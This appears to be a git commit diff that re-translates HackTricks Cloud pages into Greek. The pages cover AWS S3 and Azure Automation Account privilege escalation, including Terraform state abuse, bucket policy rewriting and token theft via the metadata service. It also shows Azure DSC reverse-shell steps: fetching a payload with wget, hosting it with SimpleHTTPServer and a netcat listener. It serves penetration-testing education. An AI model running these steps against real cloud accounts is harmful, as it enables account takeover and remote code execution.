Translated ['src/pentesting-cloud/aws-security/aws-privilege-escalation/

This commit is contained in:
Translator
2025-05-09 12:44:16 +00:00
parent ae0af8c9a1
commit 1e573e0eca
2 changed files with 13 additions and 13 deletions
@@ -34,7 +34,7 @@
]
}
```
Και η κατάληψη είναι δυνατή επειδή υπάρχει ένα **μικρό χρονικό παράθυρο από τη στιγμή που το πρότυπο ανεβαίνει** στον κάδο μέχρι τη στιγμή που το **πρότυπο αναπτύσσεται**. Ένας επιτιθέμενος μπορεί απλώς να δημιουργήσει μια **lambda function** στον λογαριασμό του που θα **ενεργοποιείται όταν σταλεί μια ειδοποίηση κάδου**, και να **καταλάβει** το **περιεχόμενο** αυτού του **κάδου**.
Και η κατάληψη είναι δυνατή επειδή υπάρχει ένα **μικρό χρονικό παράθυρο από τη στιγμή που το πρότυπο ανεβαίνει** στον κάδο μέχρι τη στιγμή που το **πρότυπο αναπτύσσεται**. Ένας επιτιθέμενος μπορεί απλώς να δημιουργήσει μια **lambda function** στον λογαριασμό του που θα **ενεργοποιείται όταν σταλεί μια ειδοποίηση κάδου**, και **καταλαμβάνει** το **περιεχόμενο** αυτού του **κάδου**.
![](<../../../images/image (174).png>)
@@ -52,12 +52,12 @@
### `s3:PutObject`, `s3:GetObject` (προαιρετικό) πάνω από το αρχείο κατάστασης terraform
Είναι πολύ συνηθισμένο τα [terraform](https://cloud.hacktricks.wiki/en/pentesting-ci-cd/terraform-security.html) αρχεία κατάστασης να αποθηκεύονται σε blob storage παρόχων cloud, π.χ. AWS S3. Η κατάληξη αρχείου για ένα αρχείο κατάστασης είναι `.tfstate`, και τα ονόματα των κάδων συχνά αποκαλύπτουν ότι περιέχουν αρχεία κατάστασης terraform. Συνήθως, κάθε λογαριασμός AWS έχει έναν τέτοιο κάδο για να αποθηκεύει τα αρχεία κατάστασης που δείχνουν την κατάσταση του λογαριασμού.
Επίσης, συνήθως, σε πραγματικούς λογαριασμούς σχεδόν πάντα όλοι οι προγραμματιστές έχουν `s3:*` και μερικές φορές ακόμη και οι επιχειρηματικοί χρήστες έχουν `s3:Put*`.
Είναι πολύ συνηθισμένο τα αρχεία κατάστασης [terraform](https://cloud.hacktricks.wiki/en/pentesting-ci-cd/terraform-security.html) να αποθηκεύονται σε blob storage παρόχων cloud, π.χ. AWS S3. Η κατάληξη αρχείου για ένα αρχείο κατάστασης είναι `.tfstate`, και τα ονόματα των κάδων συχνά αποκαλύπτουν ότι περιέχουν αρχεία κατάστασης terraform. Συνήθως, κάθε λογαριασμός AWS έχει έναν τέτοιο κάδο για να αποθηκεύει τα αρχεία κατάστασης που δείχνουν την κατάσταση του λογαριασμού.
Επίσης, συνήθως, στον πραγματικό κόσμο, σχεδόν πάντα όλοι οι προγραμματιστές έχουν `s3:*` και μερικές φορές ακόμη και οι επιχειρηματικοί χρήστες έχουν `s3:Put*`.
Έτσι, αν έχετε τις άδειες που αναφέρονται πάνω από αυτά τα αρχεία, υπάρχει ένα επιθετικός διαδρομή που σας επιτρέπει να αποκτήσετε RCE στην pipeline με τα δικαιώματα του `terraform` - τις περισσότερες φορές `AdministratorAccess`, κάνοντάς σας τον διαχειριστή του λογαριασμού cloud. Επίσης, μπορείτε να χρησιμοποιήσετε αυτή τη διαδρομή για να κάνετε μια επίθεση άρνησης υπηρεσίας κάνοντάς τον `terraform` να διαγράψει νόμιμους πόρους.
Έτσι, αν έχετε τις άδειες που αναφέρονται πάνω από αυτά τα αρχεία, υπάρχει ένα επιθετικός διαδρομή που σας επιτρέπει να αποκτήσετε RCE στην pipeline με τα δικαιώματα του `terraform` - τις περισσότερες φορές `AdministratorAccess`, κάνοντάς σας τον διαχειριστή του λογαριασμού cloud. Επίσης, μπορείτε να χρησιμοποιήσετε αυτή τη διαδρομή για να κάνετε μια επίθεση άρνησης υπηρεσίας κάνοντάς το `terraform` να διαγράψει νόμιμους πόρους.
Ακολουθήστε την περιγραφή στην ενότητα *Κατάχρηση Αρχείων Κατάστασης Terraform* της σελίδας *Ασφάλεια Terraform* για άμεσα χρησιμοποιήσιμο κώδικα εκμετάλλευσης:
Ακολουθήστε την περιγραφή στην ενότητα *Abusing Terraform State Files* της σελίδας *Terraform Security* για άμεσα χρησιμοποιήσιμο κώδικα εκμετάλλευσης:
{{#ref}}
../../../pentesting-ci-cd/terraform-security.md#abusing-terraform-state-files
@@ -65,7 +65,7 @@
### `s3:PutBucketPolicy`
Ένας επιτιθέμενος, που πρέπει να είναι **από τον ίδιο λογαριασμό**, αν όχι το σφάλμα `The specified method is not allowed will trigger`, με αυτή την άδεια θα είναι σε θέση να παραχωρήσει στον εαυτό του περισσότερες άδειες πάνω στους κάδους επιτρέποντάς του να διαβάσει, να γράψει, να τροποποιήσει, να διαγράψει και να εκθέσει κάδους.
Ένας επιτιθέμενος, που πρέπει να είναι **από τον ίδιο λογαριασμό**, αν όχι, το σφάλμα `The specified method is not allowed will trigger`, με αυτή την άδεια θα είναι σε θέση να παραχωρήσει στον εαυτό του περισσότερες άδειες πάνω στους κάδους επιτρέποντάς του να διαβάσει, να γράψει, να τροποποιήσει, να διαγράψει και να εκθέσει κάδους.
```bash
# Update Bucket policy
aws s3api put-bucket-policy --policy file:///root/policy.json --bucket <bucket-name>
@@ -4,7 +4,7 @@
## Azure Automation Accounts
Για περισσότερες πληροφορίες ελέγξτε:
Για περισσότερες πληροφορίες, ελέγξτε:
{{#ref}}
../az-services/az-automation-accounts.md
@@ -19,11 +19,11 @@
Επιπλέον, αν ο υβριδικός εργαζόμενος εκτελείται στην Azure με άλλες Συνδεδεμένες Ταυτότητες, το runbook θα μπορεί να έχει πρόσβαση στην **διαχειριζόμενη ταυτότητα του runbook και σε όλες τις διαχειριζόμενες ταυτότητες της VM από την υπηρεσία μεταδεδομένων**.
> [!TIP]
> Θυμηθείτε ότι η **υπηρεσία μεταδεδομένων** έχει διαφορετικό URL (**`http://169.254.169.254`**) από την υπηρεσία από όπου αποκτάτε το διακριτικό των διαχειριζόμενων ταυτοτήτων του λογαριασμού αυτοματοποίησης (**`IDENTITY_ENDPOINT`**).
> Θυμηθείτε ότι η **υπηρεσία μεταδεδομένων** έχει διαφορετικό URL (**`http://169.254.169.254`**) από την υπηρεσία από όπου λαμβάνετε το διακριτικό των διαχειριζόμενων ταυτοτήτων του λογαριασμού αυτοματοποίησης (**`IDENTITY_ENDPOINT`**).
- **Από τη VM στον Λογαριασμό Αυτοματοποίησης**
Επιπλέον, αν κάποιος παραβιάσει μια VM όπου εκτελείται ένα σενάριο λογαριασμού αυτοματοποίησης, θα είναι σε θέση να εντοπίσει τα μεταδεδομένα του **Λογαριασμού Αυτοματοποίησης** και να έχει πρόσβαση σε αυτά από τη VM για να αποκτήσει διακριτικά για τις **Διαχειριζόμενες Ταυτότητες** που είναι συνδεδεμένες με τον Λογαριασμό Αυτοματοποίησης.
Επιπλέον, αν κάποιος παραβιάσει μια VM όπου εκτελείται ένα σενάριο λογαριασμού αυτοματοποίησης, θα μπορεί να εντοπίσει τα μεταδεδομένα του **Λογαριασμού Αυτοματοποίησης** και να έχει πρόσβαση σε αυτά από τη VM για να αποκτήσει διακριτικά για τις **Διαχειριζόμενες Ταυτότητες** που είναι συνδεδεμένες με τον Λογαριασμό Αυτοματοποίησης.
Όπως είναι δυνατόν να δείτε στην παρακάτω εικόνα, έχοντας πρόσβαση Διαχειριστή στη VM είναι δυνατόν να βρείτε στις **μεταβλητές περιβάλλοντος της διαδικασίας** το URL και το μυστικό για να έχετε πρόσβαση στην υπηρεσία μεταδεδομένων του λογαριασμού αυτοματοποίησης:
@@ -134,7 +134,7 @@ az rest --method PUT \
}'
```
> [!TIP]
> Στο προηγούμενο παράδειγμα, το jobchedule id αφέθηκε ως **`b510808a-8fdc-4509-a115-12cfc3a2ad0d ως παράδειγμα** αλλά θα χρειαστεί να χρησιμοποιήσετε μια αυθαίρετη τιμή για να δημιουργήσετε αυτή την ανάθεση.
> Στο προηγούμενο παράδειγμα, το jobchedule id αφέθηκε ως **`b510808a-8fdc-4509-a115-12cfc3a2ad0d` ως παράδειγμα** αλλά θα χρειαστεί να χρησιμοποιήσετε μια αυθαίρετη τιμή για να δημιουργήσετε αυτή την ανάθεση.
### `Microsoft.Automation/automationAccounts/webhooks/write`
@@ -225,7 +225,7 @@ az rest --method PUT \
**Files Required:** Δύο σενάρια PowerShell είναι απαραίτητα:
1. `reverse_shell_config.ps1`: Ένα αρχείο Desired State Configuration (DSC) που ανακτά και εκτελεί το payload. Είναι διαθέσιμο από [GitHub](https://github.com/nickpupp0/AzureDSCAbuse/blob/master/reverse_shell_config.ps1).
2. `push_reverse_shell_config.ps1`: Ένα σενάριο για να δημοσιεύσει τη διαμόρφωση στη VM, διαθέσιμο στο [GitHub](https://github.com/nickpupp0/AzureDSCAbuse/blob/master/push_reverse_shell_config.ps1).
2. `push_reverse_shell_config.ps1`: Ένα σενάριο για τη δημοσίευση της διαμόρφωσης στη VM, διαθέσιμο στο [GitHub](https://github.com/nickpupp0/AzureDSCAbuse/blob/master/push_reverse_shell_config.ps1).
**Customization:** Οι μεταβλητές και οι παράμετροι σε αυτά τα αρχεία πρέπει να προσαρμοστούν στο συγκεκριμένο περιβάλλον του χρήστη, συμπεριλαμβανομένων των ονομάτων πόρων, των διαδρομών αρχείων και των αναγνωριστικών διακομιστή/payload.
@@ -247,7 +247,7 @@ Set-AzStorageBlobContent -File "reverse_shell_config.ps1.zip" -Container "azure-
```bash
wget https://raw.githubusercontent.com/nickpupp0/AzureDSCAbuse/master/RevPS.ps1
```
Το σενάριο επεξεργάζεται για να καθορίσει το στόχο Windows VM και την πόρτα για το reverse shell.
Το σενάριο επεξεργάζεται για να καθορίσει το στοχευμένο Windows VM και την πόρτα για το reverse shell.
- Βήμα 5 — Δημοσίευση Αρχείου Ρυθμίσεων
@@ -255,7 +255,7 @@ wget https://raw.githubusercontent.com/nickpupp0/AzureDSCAbuse/master/RevPS.ps1
- Βήμα 6 — Φιλοξενία Payload και Ρύθμιση Listener
Ένας Python SimpleHTTPServer ξεκινά για να φιλοξενήσει το payload, μαζί με έναν Netcat listener για να συλλάβει τις εισερχόμενες συνδέσεις.
Ένας Python SimpleHTTPServer ξεκινά για να φιλοξενήσει το payload, μαζί με έναν Netcat listener για να καταγράψει τις εισερχόμενες συνδέσεις.
```bash
sudo python -m SimpleHTTPServer 80
sudo nc -nlvp 443